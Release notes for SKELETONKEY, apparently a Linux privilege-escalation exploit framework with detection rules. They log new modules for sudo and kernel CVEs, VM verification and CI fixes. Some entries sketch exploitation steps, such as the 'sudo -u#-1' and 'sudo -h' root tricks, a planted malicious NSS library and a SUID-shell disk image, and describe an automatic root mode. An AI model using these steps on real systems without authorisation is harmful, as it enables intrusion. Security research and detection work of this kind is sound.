A third, latent cause kept the gate red even after those two: when
|
||||
`sudo_host` (CVE-2025-32462) was added in v0.9.8 its record was appended to
|
||||
the *end* of `CVE_METADATA.json`, but the drift check compares the record
|
||||
list in `discover_cves()`'s sorted order — so the out-of-order entry read
|
||||
as drift regardless of its values. Regenerating via the script restores
|
||||
sorted order.
|
||||
|
||||
Refreshed `CVE_METADATA.json`, the generated `cve_metadata.c` table, and
|
||||
`KEV_CROSSREF.md` accordingly (README + website counts updated).
|
||||
|
||||
## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
|
||||
|
||||
Adds the two most compelling recent Linux LPEs not already in the corpus,
|
||||
taking it to **41 modules / 36 CVEs** (every year 2016 → 2026 still
|
||||
covered).
|
||||
|
||||
**`ptrace_pidfd` — CVE-2026-46333** (Qualys TRU, 2026-05-20). A logic
|
||||
flaw in the kernel's `__ptrace_may_access()` path leaves a process that
|
||||
is *dropping* its credentials briefly reachable past its `dumpable`
|
||||
boundary; `pidfd_getfd(2)` rides that window to steal a root-opened file
|
||||
descriptor or authenticated channel from a transiently-privileged setuid
|
||||
binary (chage / pkexec / ssh-keysign) or root daemon. Default-distro, no
|
||||
userns, architecture-agnostic (descriptor theft, no shellcode). detect()
|
||||
is version-pinned (predates-gate at pidfd_getfd's 5.6 introduction;
|
||||
Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). `--mitigate`
|
||||
sets `kernel.yama.ptrace_scope=2`.
|
||||
|
||||
**`sudo_host` — CVE-2025-32462** (Rich Mirch / Stratascale, 2025-06-30;
|
||||
sibling of v0.8.0's `sudo_chwoot`). sudo's `-h`/`--host` option, meant
|
||||
only to pair with `-l`, was honored when running a command — so a
|
||||
sudoers rule scoped to a host other than the current machine (and not
|
||||
ALL) is usable via `sudo -h <host> <cmd>` for local root. Affects sudo
|
||||
1.8.8 → 1.9.17p0 (fixed 1.9.17p1); CWE-863, CVSS 8.8. Most relevant to
|
||||
fleet-wide / LDAP / SSSD sudoers.
|
||||
|
||||
Both are honest ports: detect() is version-pinned and unit-tested (10 new
|
||||
detect() rows, all green in CI), and exploit() fires the real primitive
|
||||
and returns `EXPLOIT_FAIL` unless it can witness euid 0 — never
|
||||
fabricating root. Neither is VM-verified yet (both flagged "sweep
|
||||
pending" in `tools/verify-vm/targets.yaml`), so the verified count stays
|
||||
28 of 36. Each ships auditd + sigma + falco rules, MITRE ATT&CK + CWE
|
||||
metadata, and credits the original researcher in its `NOTICE.md`.
|
||||
|
||||
## SKELETONKEY v0.9.7 — kernel_range drift fix + CI Node 24 readiness
|
||||
|
||||
Two maintenance fixes, no new modules.
|
||||
|
||||
**`fragnesia` kernel_range drift.** Debian backported CVE-2026-46300 to
|
||||
the 5.10 oldstable branch (bullseye 5.10.257), a branch the module's
|
||||
`kernel_patched_from` table didn't model — on a patched bullseye host
|
||||
`detect()` would have false-positived VULNERABLE. Added the `{5,10,257}`
|
||||
entry; the weekly `refresh-kernel-ranges.py` drift gate is green again.
|
||||
(The other flagged modules are INFO-only "more permissive" thresholds
|
||||
the check tolerates by design.)
|
||||
|
||||
**CI Node 24 readiness.** GitHub forces the Node 24 Actions runtime on
|
||||
2026-06-16 and removes Node 20. Bumped every workflow action off its
|
||||
Node-20 line:
|
||||
|
||||
- `actions/checkout` v4 → v6
|
||||
- `actions/upload-artifact` v4 → v7
|
||||
- `actions/download-artifact` v4 → v8
|
||||
- `softprops/action-gh-release` v2 → v3
|
||||
|
||||
Each was reviewed against its changelog: the artifact flow uploads
|
||||
default-zipped, uniquely-named artifacts and downloads the full set, so
|
||||
none of the major-version breaking changes (opt-in direct uploads,
|
||||
download-by-ID path changes) apply. This release is itself the
|
||||
end-to-end test of the new artifact actions.
|
||||
|
||||
## SKELETONKEY v0.9.6 — `--auto` no longer prompts for sudo password
|
||||
|
||||
Two sudo modules' `detect()` bodies invoked `sudo -ln` to read the
|
||||
user's allowed-commands list. The intent was non-interactive — `-ln`
|
||||
should parse as `-l -n` (list + non-interactive). But some sudoers /
|
||||
PAM configurations have been observed prompting for a password
|
||||
anyway when the flags are bundled, defeating the point.
|
||||
|
||||
That meant `skeletonkey --auto --i-know` could hang on a sudo
|
||||
password prompt during the corpus scan, even though the whole point
|
||||
of an LPE tool is to *get* root without already having it.
|
||||
|
||||
Fix in `sudo_runas_neg1` and `sudoedit_editor`:
|
||||
|
||||
- `-n -l` written as separate flags (instead of bundled `-ln`)
|
||||
- `</dev/null` redirect so sudo cannot fall back to reading the tty
|
||||
even if the PAM stack tries
|
||||
|
||||
Belt-and-suspenders. `--auto` is now guaranteed never to block on
|
||||
tty input.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.5 — kernel_range drift cleanup (the other half)
|
||||
|
||||
v0.9.4 fixed the `cve_metadata` drift but exposed a *second* drift
|
||||
check (`kernel_range drift`) that had been hidden behind it. That
|
||||
check compares each module's `kernel_patched_from` table against
|
||||
Debian's security tracker. It had **11 TOO_TIGHT + 8 MISSING
|
||||
findings across 12 modules** — meaning `detect()` would have
|
||||
reported VULNERABLE on many kernels that Debian has on record as
|
||||
patched (false-positives), or missed branches entirely.
|
||||
|
||||
Applied `tools/refresh-kernel-ranges.py --patch` recommendations
|
||||
across:
|
||||
|
||||
- `cgroup_release_agent` — `{5,16,9}` → `{5,16,7}`
|
||||
- `cls_route4` — `{5,10,143}` → `{5,10,136}`, `{5,18,18}` → `{5,18,16}`
|
||||
- `dirty_cow` — `{4,7,10}` → `{4,7,8}`
|
||||
- `dirty_pipe` — `{5,10,102}` → `{5,10,92}`
|
||||
- `fragnesia` — `{6,12,91}` → `{6,12,90}`, `{7,0,10}` → `{7,0,9}`
|
||||
(the 7.0.10 entry I added in v0.9.4 was an NVD-vs-Debian off-by-one)
|
||||
- `mutagen_astronomy` — added `{4,12,6}` backport entry
|
||||
- `netfilter_xtcompat` — `{5,10,46}` → `{5,10,38}`
|
||||
- `overlayfs_setuid` — `{6,1,27}` → `{6,1,11}`
|
||||
- `pintheft` — added `{6,12,90}` Debian-trixie entry
|
||||
- `ptrace_traceme` — `{4,19,58}` → `{4,19,37}`
|
||||
- `sequoia` — `{5,10,52}` → `{5,10,46}`
|
||||
- `tioscpgrp` — added `{5,9,15}` backport entry
|
||||
|
||||
All changes are correctness-improving (no kernel that was previously
|
||||
flagged VULNERABLE-and-actually-vulnerable is now flagged OK; we just
|
||||
stop false-positiving on kernels that Debian has on record as patched).
|
||||
|
||||
Build's `kernel_range drift` step now exits 0 with 0 TOO_TIGHT and 0
|
||||
MISSING.
|
||||
|
||||
Also enabled `workflow_dispatch` on the build workflow so the
|
||||
drift-check job can be manually triggered without waiting for the
|
||||
weekly Monday-06:00-UTC cron.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs
|
||||
|
||||
Quality-of-life follow-ups from the v0.9.3 review:
|
||||
|
||||
**Nightly CI drift-check unblocked.** v0.9.3's hand-applied
|
||||
`core/cve_metadata.c` entries weren't reflected in
|
||||
`docs/CVE_METADATA.json`, so the scheduled `build` workflow had
|
||||
been red since 2026-05-25 even though push-triggered runs passed.
|
||||
Regenerated both via the canonical script. Pintheft's CWE landed
|
||||
as CWE-787 (NVD-derived) — previously NULL.
|
||||
|
||||
**fragnesia module range table corrected.** Same audit pattern that
|
||||
found the dirtydecrypt bug in v0.9.3. NVD CVE-2026-46300 confirms
|
||||
the SKBFL_SHARED_FRAG marker was introduced at 5.11 and the bug
|
||||
spans every stable branch since. Previous range table had one entry
|
||||
(`{7, 0, 9}`) — off-by-one against NVD's 7.0.10 fix point and
|
||||
missing every other backport. Now models 6 backports + predates-5.11
|
||||
introduction gate:
|
||||
|
||||
```c
|
||||
{5, 15, 208}, /* 5.15-LTS */
|
||||
{6, 1, 174}, /* 6.1-LTS */
|
||||
{6, 6, 141}, /* 6.6-LTS */
|
||||
{6, 12, 91}, /* 6.12-LTS */
|
||||
{6, 18, 33}, /* 6.18-LTS */
|
||||
{7, 0, 10}, /* 7.0 */
|
||||
```
|
||||
|
||||
Test row added for the predates path (kernel 4.4 → OK).
|
||||
|
||||
**`tools/verify-vm/README.md` brought current.** The README was
|
||||
written for the v0.6-era apt-pin-only workflow. Now documents the
|
||||
v0.9.x infrastructure: mainline kernel pinning via
|
||||
kernel.ubuntu.com, per-module provisioners
|
||||
(`provisioners/<module>.sh`), two-phase prep→reboot→verify with
|
||||
post-reboot kernel confirmation, GRUB_DEFAULT pinning in both apt
|
||||
and mainline blocks.
|
||||
|
||||
**NVD lookups in `refresh-cve-metadata.py` get a curl fallback.**
|
||||
v0.9.3 ran into Python's `urlopen` silently hanging on NVD's HTTP/2
|
||||
endpoint (55-min process with the 30s timeout never firing — kernel
|
||||
CLOSE_WAIT socket). The CISA path already had a curl fallback; the
|
||||
NVD path now mirrors it. Future runs degrade gracefully when
|
||||
urlopen wedges.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
|
||||
|
||||
**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
|
||||
entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
|
||||
Two of them are CISA-KEV-listed:
|
||||
|
||||
- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
|
||||
- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
|
||||
|
||||
Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
|
||||
`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
|
||||
(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
|
||||
Python urlopen — populated directly via curl + max-time as a workaround.)
|
||||
|
||||
**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
|
||||
against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
|
||||
`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
|
||||
Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
|
||||
ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
|
||||
|
||||
- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
|
||||
- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
|
||||
|
||||
Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
|
||||
on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
|
||||
it returned OK there — a false negative that would have lied to anyone
|
||||
running scan on a real vulnerable kernel.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
|
||||
|
||||
One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
|
||||
end-to-end on Ubuntu 22.04 + mainline 6.19.7. detect() correctly returns
|
||||
OK ("kernel predates the rxgk RESPONSE-handling code added in 7.0"). Footer
|
||||
goes 27 → 28.
|
||||
|
||||
Attempted but deferred: **CVE-2026-46300 fragnesia**. Mainline 7.0.5 kernel
|
||||
.debs depend on `libssl3t64` / `libelf1t64` (the t64-transition libs
|
||||
introduced in Ubuntu 24.04 / Debian 13). No Vagrant box with a Parallels
|
||||
provider has those libs yet — `dpkg --force-depends` leaves the kernel
|
||||
package in `iHR` (broken) state with no `/boot/vmlinuz` deposited. Marked
|
||||
`manual: true` with rationale in `targets.yaml`. Resolvable when a
|
||||
Parallels-supported ubuntu2404 / debian13 box becomes available.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.1 — VM verification sweep (22 → 27)
|
||||
|
||||
Five more CVEs empirically confirmed end-to-end against real Linux VMs
|
||||
via `tools/verify-vm/`:
|
||||
|
||||
| CVE | Module | Target environment |
|
||||
|---|---|---|
|
||||
| CVE-2019-14287 | `sudo_runas_neg1` | Ubuntu 18.04 (sudo 1.8.21p2 + `(ALL,!root)` grant via provisioner) |
|
||||
| CVE-2020-29661 | `tioscpgrp` | Ubuntu 20.04 pinned to `5.4.0-26` (genuinely below the 5.4.85 backport) |
|
||||
| CVE-2024-26581 | `nft_pipapo` | Ubuntu 22.04 + mainline `5.15.5` (below the 5.15.149 fix) |
|
||||
| CVE-2025-32463 | `sudo_chwoot` | Ubuntu 22.04 + sudo `1.9.16p1` built from upstream into `/usr/local/bin` |
|
||||
| CVE-2025-6019 | `udisks_libblockdev` | Debian 12 + `udisks2` 2.9.4 + polkit allow rule for the verifier user |
|
||||
|
||||
Footer goes from `22 empirically verified` → `27 empirically verified`.
|
||||
|
||||
### Verifier infrastructure (the why)
|
||||
|
||||
These verifications required real plumbing work that didn't exist before:
|
||||
|
||||
- **Per-module provisioner hook** (`tools/verify-vm/provisioners/<module>.sh`)
|
||||
— per-target setup that doesn't belong in the Vagrantfile (build sudo
|
||||
from source, install udisks2 + polkit rule, drop a sudoers grant) now
|
||||
lives in checked-in scripts that re-run idempotently on every verify.
|
||||
- **Two-phase provisioning** in `verify.sh` — prep provisioners run
|
||||
first (install kernel, set grub default, drop polkit rule), then a
|
||||
conditional reboot if `uname -r` doesn't match the target, then the
|
||||
verifier proper. Fixes the silent-fail where the new kernel was
|
||||
installed but the VM never actually rebooted into it.
|
||||
- **GRUB_DEFAULT pin in both `pin-kernel` and `pin-mainline` blocks** —
|
||||
without this, grub's debian-version-compare picks the highest-sorting
|
||||
vmlinuz as default; for downgrades (stock 4.15 → mainline 4.14.70, or
|
||||
stock 5.4.0-169 → pinned 5.4.0-26) the wrong kernel won boot.
|
||||
- **Old-mainline URL fallback** — kernel.ubuntu.com puts ≤ 4.15 mainline
|
||||
debs at `/v${KVER}/` not `/v${KVER}/amd64/`. Fallback handles both.
|
||||
|
||||
### Honest residuals — 7 of 34 still unverified
|
||||
|
||||
| Module | Why not verified |
|
||||
|---|---|
|
||||
| `vmwgfx` | needs a VMware guest; we're on Parallels |
|
||||
| `dirty_cow` | needs ≤ 4.4 kernel — older than any supported Vagrant box |
|
||||
| `mutagen_astronomy` | mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs (`Failed to execute /init (error -8)` — kernel config mismatch). Genuinely needs CentOS 6 / Debian 7. |
|
||||
| `pintheft` | needs RDS kernel module loaded (Arch only autoloads it) |
|
||||
| `vsock_uaf` | needs `vsock_loopback` loaded — not autoloaded on common Vagrant boxes |
|
||||
| `dirtydecrypt`, `fragnesia` | need Linux 7.0 — not yet shipping as any distro kernel |
|
||||
|
||||
All seven are flagged in `tools/verify-vm/targets.yaml` with `manual: true`
|
||||
and a rationale.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered
|
||||
|
||||
Five gap-filling modules. Closes the 2018 hole entirely and thickens
|
||||
2019 / 2020 / 2024.
|
||||
|
||||
### CVE-2018-14634 — `mutagen_astronomy` (Qualys)
|
||||
|
||||
Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a
|
||||
multi-GiB argv blob makes the kernel under-allocate the SUID
|
||||
carrier's stack and corrupt adjacent allocations. CISA-KEV-listed
|
||||
Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian
|
||||
8 fleets still affected. 🟡 PRIMITIVE (trigger documented;
|
||||
Qualys' full chain not bundled per verified-vs-claimed).
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix)
|
||||
|
||||
`sudo -u#-1 <cmd>` → uid_t underflows to 0xFFFFFFFF → sudo treats it
|
||||
as uid 0 → runs `<cmd>` as root even when sudoers explicitly says
|
||||
"ALL except root". Pure userspace logic bug; the famous Apple
|
||||
Information Security finding. detect() looks for a `(ALL,!root)`
|
||||
grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28.
|
||||
|
||||
### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero)
|
||||
|
||||
TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in
|
||||
kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
|
||||
(race-driver + msg_msg groom). Public PoCs from grsecurity/spender
|
||||
+ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner)
|
||||
|
||||
AF_VSOCK `connect()` races a POSIX signal that tears down the
|
||||
virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award
|
||||
2025 winner.** Reachable as plain unprivileged user (no userns
|
||||
required — unusual). Two public exploit paths: @v4bel + @qwerty
|
||||
kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's
|
||||
msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages")
|
||||
|
||||
`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module
|
||||
(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper,
|
||||
different specific bug in the pipapo set substrate. Same family
|
||||
detect signature. 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### Year-by-year coverage matrix
|
||||
|
||||
```
|
||||
2016: ▓ 1 2021: ▓▓▓▓▓ 5 2025: ▓▓ 2
|
||||
2017: ▓ 1 2022: ▓▓▓▓▓ 5 2026: ▓▓▓▓ 4
|
||||
2018: ▓ 1 ← 2023: ▓▓▓▓▓▓▓▓ 8
|
||||
2019: ▓▓ 2 ← 2024: ▓▓▓ 3 ←
|
||||
2020: ▓▓ 2 ←
|
||||
```
|
||||
|
||||
Every year 2016 → 2026 is now ≥1.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.8.0 | v0.9.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 34 | 39 |
|
||||
| Distinct CVEs | 29 | 34 |
|
||||
| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** |
|
||||
| Detection rules embedded | 131 | 151 |
|
||||
| Arch-independent (`any`) | 6 | 7 |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- All 5 new modules ship complete detection-rule corpus
|
||||
(auditd + sigma + yara + falco) — corpus stays at 4-format
|
||||
parity with the rest of the modules.
|
||||
- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29);
|
||||
takes ~4 minutes due to NVD anonymous rate limit.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs
|
||||
|
||||
Closes the 2025 coverage gap. Three new modules from CVEs disclosed
|
||||
2025–2026, all with public PoC code we ported into proper
|
||||
SKELETONKEY modules:
|
||||
|
||||
### CVE-2025-32463 — `sudo_chwoot` (Stratascale)
|
||||
|
||||
Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=<DIR>` chroots
|
||||
into a user-controlled directory before completing authorization +
|
||||
resolves user/group via NSS inside the chroot. Plant a malicious
|
||||
`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens
|
||||
the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to
|
||||
1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely).
|
||||
`arch_support: any` (pure userspace).
|
||||
|
||||
### CVE-2025-6019 — `udisks_libblockdev` (Qualys)
|
||||
|
||||
udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal
|
||||
filesystem-resize/repair mount path omits `MS_NOSUID` and
|
||||
`MS_NODEV`. udisks2 gates the operation on polkit's
|
||||
`org.freedesktop.UDisks2.modify-device` action, which is
|
||||
`allow_active=yes` by default → any active console session user can
|
||||
trigger it without a password. Build an ext4 image with a SUID-root
|
||||
shell inside, get udisks to mount it, execute the SUID shell.
|
||||
Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`.
|
||||
|
||||
### CVE-2026-43494 — `pintheft` (V12 Security)
|
||||
|
||||
Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()`
|
||||
pins user pages one at a time; if a later page faults, the error
|
||||
unwind drops the already-pinned pages, but the msg's scatterlist
|
||||
cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks
|
||||
one pin refcount. Chain via io_uring fixed buffers to overwrite the
|
||||
page cache of a readable SUID binary → execve → root. Mainline fix
|
||||
commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common
|
||||
distros only **Arch Linux** autoloads the rds module — Ubuntu /
|
||||
Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't
|
||||
build it or blacklist autoload. `detect()` correctly returns OK
|
||||
on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE
|
||||
status: primitive fires; full cred-overwrite via the shared
|
||||
modprobe_path finisher requires `--full-chain` on x86_64.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.7.1 | v0.8.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 31 | 34 |
|
||||
| Distinct CVEs | 26 | 29 |
|
||||
| 2025-CVE coverage | 0 | 2 |
|
||||
| Detection rules embedded | 119 | 131 |
|
||||
| Arch-independent (`any`) | 4 | 6 |
|
||||
| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- `tools/refresh-cve-metadata.py` — added curl fallback for the
|
||||
CISA KEV CSV fetch (Python's urlopen was hitting timeouts against
|
||||
CISA's HTTP/2 endpoint).
|
||||
- `tools/verify-vm/targets.yaml` — entries for the 3 new modules
|
||||
with honest "no Vagrant box covers this yet" notes for
|
||||
pintheft (needs Arch) and udisks_libblockdev (needs active
|
||||
console session + udisks2 installed).
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support
|
||||
|
||||
Point release on top of v0.7.0. Two additions:
|
||||
|
||||
1. **`skeletonkey-arm64-static`** is now published alongside the
|
||||
existing x86_64-static binary. Built native-arm64 in Alpine via
|
||||
GitHub's `ubuntu-24.04-arm` runner pool. Works on Raspberry Pi 4+,
|
||||
Apple Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM,
|
||||
and any other aarch64 Linux. `install.sh` auto-picks it.
|
||||
|
||||
2. **`arch_support` per module** — a new field on
|
||||
`struct skeletonkey_module` that honestly labels which architectures
|
||||
the `exploit()` body has been verified on. Three categories:
|
||||
|
||||
- **`any`** (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
|
||||
pack2theroot. Purely userspace; arch-independent.
|
||||
- **`x86_64`** (1 module): entrybleed. KPTI prefetchnta side-channel;
|
||||
x86-only by physics (ARM uses TTBR_EL0/EL1 split, not CR3).
|
||||
Already gated in source — returns PRECOND_FAIL on non-x86_64.
|
||||
- **`x86_64+unverified-arm64`** (26 modules): kernel-exploitation
|
||||
code that hasn't been verified on arm64 yet. `detect()` works
|
||||
everywhere (it just reads `ctx->host`); the `exploit()` body uses
|
||||
primitives (msg_msg sprays, ROP-style finishers, specific struct
|
||||
offsets) that are likely portable to aarch64 but unproven.
|
||||
|
||||
`--list` adds an ARCH column; `--module-info` adds an `arch support:`
|
||||
line; `--scan --json` adds an `arch_support` field per module.
|
||||
|
||||
**What an arm64 user gets today:** the full detection/triage workflow
|
||||
works as well as on x86_64 (`--scan`, `--explain`, `--module-info`,
|
||||
`--detect-rules`, `--auto --dry-run`). Four exploit modules
|
||||
(`pwnkit`, `sudo_samedit`, `sudoedit_editor`, `pack2theroot`) will fire
|
||||
end-to-end. The remaining 26 modules currently mark themselves as
|
||||
"x86_64 verified; arm64 untested" — the bug class is generic but the
|
||||
exploitation hasn't been confirmed. Future arm64-Vagrant verification
|
||||
sweeps will promote modules to `any` as they're confirmed.
|
||||
|
||||
---
|
||||
|
||||
### From v0.7.0 — empirical verification + operator briefing
|
||||
|
||||
The headline change since v0.6.0: **22 of 26 CVEs are now empirically
|
||||
confirmed against real Linux kernels in VMs**, with verification records
|
||||
baked into the binary and surfaced in `--list`, `--module-info`, and
|
||||
`--explain`. The four still-unverified entries (`vmwgfx`, `dirty_cow`,
|
||||
`dirtydecrypt`, `fragnesia`) are blocked by their target environment
|
||||
(VMware-only, ≤4.4 kernel, Linux 7.0 not yet shipping), not by missing
|
||||
code — see
|
||||
[`tools/verify-vm/targets.yaml`](https://github.com/KaraZajac/SKELETONKEY/blob/main/tools/verify-vm/targets.yaml)
|
||||
for the rationale.
|
||||
|
||||
### Install
|
||||
|
||||
Pre-built binaries below (x86_64 dynamic, x86_64 static-musl, arm64
|
||||
dynamic; all checksum-verified). Recommended for new installs:
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
skeletonkey --version
|
||||
```
|
||||
|
||||
Static-musl x86_64 is the default — works back to glibc 2.17, no
|
||||
library dependencies.
|
||||
|
||||
### What's in this release
|
||||
|
||||
**Empirical verification (the big one)**
|
||||
- `tools/verify-vm/` — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro or mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per module,
|
||||
records match/mismatch as JSONL.
|
||||
- 22 modules confirmed end-to-end across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10.
|
||||
- Per-module `verified_on[]` table baked into the binary. `--list` adds
|
||||
a `VFY` column showing ✓ per verified module; footer prints
|
||||
`31 modules registered · 10 in CISA KEV (★) · 22 empirically verified
|
||||
in real VMs (✓)`.
|
||||
- `--module-info <name>` adds a `--- verified on ---` section.
|
||||
- `--explain <name>` adds a `VERIFIED ON` section.
|
||||
|
||||
**`--explain MODULE` — one-page operator briefing**
|
||||
|
||||
A single command renders, for any module: CVE / CWE / MITRE ATT&CK /
|
||||
CISA KEV status, host fingerprint, **live `detect()` trace** with
|
||||
verdict and interpretation, **OPSEC footprint** (what an exploit
|
||||
would leave on this host), detection-rule coverage matrix, and
|
||||
verification records. Paste-ready for triage tickets and SOC handoffs.
|
||||
|
||||
**CVE metadata pipeline**
|
||||
|
||||
`tools/refresh-cve-metadata.py` fetches CISA's Known Exploited
|
||||
Vulnerabilities catalog + NVD CWE classifications, generates
|
||||
`docs/CVE_METADATA.json` + `docs/KEV_CROSSREF.md` + the in-binary
|
||||
lookup table. **10 of 26 modules cover KEV-listed CVEs.** MITRE ATT&CK
|
||||
technique mapping (T1068 by default; T1611 for container escapes;
|
||||
T1082 for kernel info leaks). All surfaced in `--list` (★ column),
|
||||
`--module-info`, `--explain`, and `--scan --json` (new `triage`
|
||||
sub-object per module).
|
||||
|
||||
**Per-module OPSEC notes**
|
||||
|
||||
Every module's struct now carries an `opsec_notes` paragraph describing
|
||||
the runtime telemetry footprint: file artifacts, dmesg signatures,
|
||||
syscall observables, network activity, persistence side effects,
|
||||
cleanup behavior. Grounded in source + existing detection rules — the
|
||||
inverse of what the auditd/sigma/yara/falco rules look for. Surfaced
|
||||
in `--module-info` (text + JSON) and `--explain`.
|
||||
|
||||
**119 detection rules across all 4 SIEM formats**
|
||||
|
||||
Previously: auditd everywhere, sigma on top-10, yara/falco only on a
|
||||
handful. Now: 30/31 auditd, 31/31 sigma, 28/31 yara, 30/31 falco
|
||||
(the 3 remaining gaps are intentional skips — `entrybleed` is a pure
|
||||
timing side-channel with no syscall/file footprint;
|
||||
`ptrace_traceme` and `sudo_samedit` are pure-memory races with no
|
||||
on-disk artifacts).
|
||||
|
||||
**Test harness**
|
||||
|
||||
88 tests on every push: 33 kernel_range / host-fingerprint unit tests
|
||||
(`tests/test_kernel_range.c` — boundary conditions, NULL safety,
|
||||
multi-LTS, mainline-only) + 55 `detect()` integration tests
|
||||
(`tests/test_detect.c` — synthetic host fingerprints across 26
|
||||
modules). Coverage report at the end identifies any modules without
|
||||
direct test rows.
|
||||
|
||||
**`core/host.c` shared host-fingerprint refactor**
|
||||
|
||||
One probe of kernel / arch / distro / userns gates / apparmor /
|
||||
selinux / lockdown / sudo + polkit versions at startup. Every
|
||||
module's `detect()` consumes `ctx->host`. Adds `meltdown_mitigation[]`
|
||||
passthrough so `entrybleed` can distinguish "Not affected" (CPU
|
||||
immune; OK) from "Mitigation: PTI" (KPTI on; vulnerable to
|
||||
EntryBleed) without re-reading sysfs.
|
||||
|
||||
**kernel_range drift detector**
|
||||
|
||||
`tools/refresh-kernel-ranges.py` polls Debian's security tracker and
|
||||
reports drift between the embedded `kernel_patched_from` tables and
|
||||
what Debian actually ships. Already used to apply 9 corpus fixes in
|
||||
v0.7.0; 9 more `TOO_TIGHT` findings pending per-commit verification.
|
||||
|
||||
**Marketing-grade landing page**
|
||||
|
||||
[karazajac.github.io/SKELETONKEY](https://karazajac.github.io/SKELETONKEY/)
|
||||
— animated hero, `--explain` showcase with line-by-line typed terminal,
|
||||
bento-grid features, KEV / verification stat chips. New Open Graph
|
||||
card renders correctly on Twitter/LinkedIn/Slack/Discord.
|
||||
|
||||
### Real findings from the verifier
|
||||
|
||||
A handful of cases that show the project's "verified-vs-claimed bar"
|
||||
thesis paying off in real time:
|
||||
|
||||
- **`dirty_pipe` on Ubuntu 22.04 (5.15.0-91-generic)** — version-only
|
||||
check would say VULNERABLE (5.15.0 < 5.15.25 backport in our table),
|
||||
but Ubuntu has silently backported the fix into the -91 patch level.
|
||||
`--active` correctly identified the primitive as blocked → OK. Only
|
||||
an empirical probe can tell.
|
||||
- **`af_packet` on Ubuntu 18.04 (4.15.0-213-generic)** — our target
|
||||
